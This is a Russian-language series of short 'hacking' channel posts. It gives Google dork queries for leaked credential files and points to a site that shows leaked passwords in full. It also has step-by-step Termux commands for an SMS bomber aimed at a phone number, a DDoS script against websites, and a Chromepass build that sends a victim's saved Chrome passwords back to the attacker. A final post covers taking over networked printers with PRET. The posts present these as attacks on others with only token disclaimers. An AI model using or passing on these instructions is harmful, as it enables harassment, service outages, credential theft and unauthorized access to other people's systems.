​​Готовые запросы для расширенного поиска в Google

Google Hacking Database - самая популярная база поисковых запросов, которая ежедневно пополняется пользователями. Здесь авторы публикуют готовые запросы для google, которые помогут вам найти утечки на других сайтах или просто информацию которую не успели скрыть.

Например, поисковый запрос intitle:index.of "credential.txt" может вывести вас на забытый кем-то файл с паролями или другой конфиденциальной информацией.

На сайте уже имеется более 600 разных запросов и список ежедневно пополняется.

#хакинг

​​Как взломать электронную почту

В наших постах мы уже не раз говорили про сайты, которые позволяют проверить не попала ли ваша электронная почта и пароль в базу данных, которая утекла или была слита. Но на тех сайтах, про которые мы говорили ранее часть пароля была скрыта.

На этом сервисе собрано множество различных баз данных, текстовых файлов и слитых документов, в которых содержатся адреса электронных почт и пароли к ним, но в отличие от других сервисов, пароль показан полностью, как и база данных в которой он был найден.

Зайдите на сайт и введите свой Email. Если в ответ вы не получите ничего - вам повезло. В противном случае, рекомендуем вам сменить, показанный там пароль, если он еще где-то стоит.

#хакинг #безопасность

​​Как пользоваться Kali Linux в браузере

Если у вас нет возможности установить Kali Linux на свой компьютер, можно воспользоваться сайтом linuxzoo.net.

Для начала нужно зарегистрироваться и встать в очередь на использование машины. Как только подойдет ваша очередь (обычно сразу), появится окно с выбором различных способов подключения. Можно подключиться, по SSH или используя утилиту удаленного рабочего стола или напрямую в браузере через JavaScript VNC. Выбираем наиболее удобный для вас способ и подключаемся.

При входе вас попросит ввести пароль. Данные для входа в Kali Linux - Username: root, Password: Kali

#хакинг #linux

​​Программы для взлома из сериала Мистер Робот

На Github опубликован набор для взлома сайтов, собранный по мотивам сериала Мистер Робот! В нем присутствуют программы, которые использует Эллиот, а также те, без которых при пентесте обойтись нельзя.

Можно установить как на Kali Linux, так и на Termux и OsX

Установка:
git clone https://github.com/Manisso/fsociety.git

Запуск:
cd fsociety && python fsociety.py

#хакинг #linux #termux

​​Как организовать спам SMS сообщениями на Termux

Для начала нам необходимо скачать Termux. Через Play Market.

Запускаем Termux и обновляем пакеты:
apt update & apt upgrade -y

Устанавливаем git:
pkg install git

Указываем ссылку на GitHub, где лежит пакет установки:
git clone https://github.com/Argisht44/android.git

Переходим в директорию и запускаем бомбер:
cd android
cd Infinite-Bomber-arm64
chmod 777 infinite-bomber
./infinite-bomber

После ввода этих команд, SMS Bomber запустится. Тебе потребуется ввести номер телефона, который ты собираешься использовать для атаки и следовать инструкции. Если запустить несколько сессий в Termux то у тебя получится отправить в разы больше SMS.

#хакинг #Termux

​​Tool-X: Хакерский инструмент из смартфона с помощью Termux

Tool-X - это установщик хакерских инструментов Kali Linux, который был разработан специально для Termux.

1. Запускаем Termux и обновляем пакеты:
apt update && apt upgrade -y
2. Скачиваем репозиторий:
git clone https://github.com/rajkumardusad/Tool-X.git
3. Открываем папку и задаём ей приоритет:
cd Tool-X
chmod +x install.aex
4. Устанавливаем утилиту
sh install.aex
5. Далее, у вас откроется окно, где можно: обновить или запустить программу. Запускаем командой:
Tool-X

После чего вам будет доступно более 370 программ, разбитых по категориям. Вы можете установить любой инструмент указав его порядковый номер. Все установленные приложения запускаются прямо в терминале.

#хакинг #termux

​​Создаем DDoS атаку на сайт через Termux

1. Запускаем Termux и прописываем команды:
apt update & apt upgrade -y
pkg install python
2. Скачиваем репозиторий:
git clone https://github.com/HardyTomas/DDos-Attack-OVH-
3. Переходим в директорию:
cd DDos-Attack-OVH-
4. Устанавливаем пакеты:
pip3 install toripchanger
pip3 install -r requirements.txt
5. Запускаем программу:
python3 80port.py

После запуска программы, водим нужный сайт, те же настройки, как на первом скриншоте снизу. Затем программа начнет посылать запросы на сайт. Если на нем не установлена никакая защита от DDoS атак, то сайт перестанет функционировать через несколько минут. Проверьте свой сайт и установите защиту от DDoS атак, если потребуется. Не рекомендуем использовать эту информацию во вред.

#хакинг #termux

Как удаленно получить доступ к сохраненным паролям Chrome

Google Chrome используют 86% пользователей интернета. В нем хранится очень много полезной инфы о каждом пользователе.

Chromepass - это консольное приложение на Python, которое умеет добывать сохраненные пароли в Chrome. Требуется Python 3.6+.

Итак, в терминале:
$ cd chromepass
$ pip install -r requirements.txt
$ python -m pip install --upgrade pip
$ python -m pip install -r requirements.txt
$ python create_server.py

Далее, выберите метод client.exe, введите свой IP. Включите сообщение об ошибке если нужно, и добавьте свое сообщение при необходимости.

Теперь подождите, пока исполняемые файлы будут готовы. Запустите client.exe. Файл server_ip.exe — должна получить жертва. После этого, в client.exe начинают появляться пароли, как показано на скрине.

#хакинг

​​Как взломать принтер в локальной сети

Для того, чтобы перехватить управление беспроводным принтером, нам понадобиться подключиться к WiFi сети, в которой работает этот принтер. Данная утилита работает как на Kali linux, так и на Termux.

Установка:
apt update & apt upgrade
pip2 install colorama
git clone https://github.com/RUB-NDS/PRET
cd PRET
pip install colorama pysnmP

Далее, нам нужно будет узнать IP адрес нашего принтера, сделать это можно в настройках принтера или через программу WiFi Analyzer. Это приложение сканирует WiFi сеть и показывает, локальные IP устройств, которые к ней подключены.

Запускаем программу:
python2 pret.py (IP принтера) pjl

Если подключение успешно, то вам будет доступен ввод различных команд для управления принтером. Командой help можно посмотреть все доступные функции, среди которых: печать произвольного текста или файла, отображение текста на дисплее принтера, флуд печатью и многое другое.

#хакинг #IoT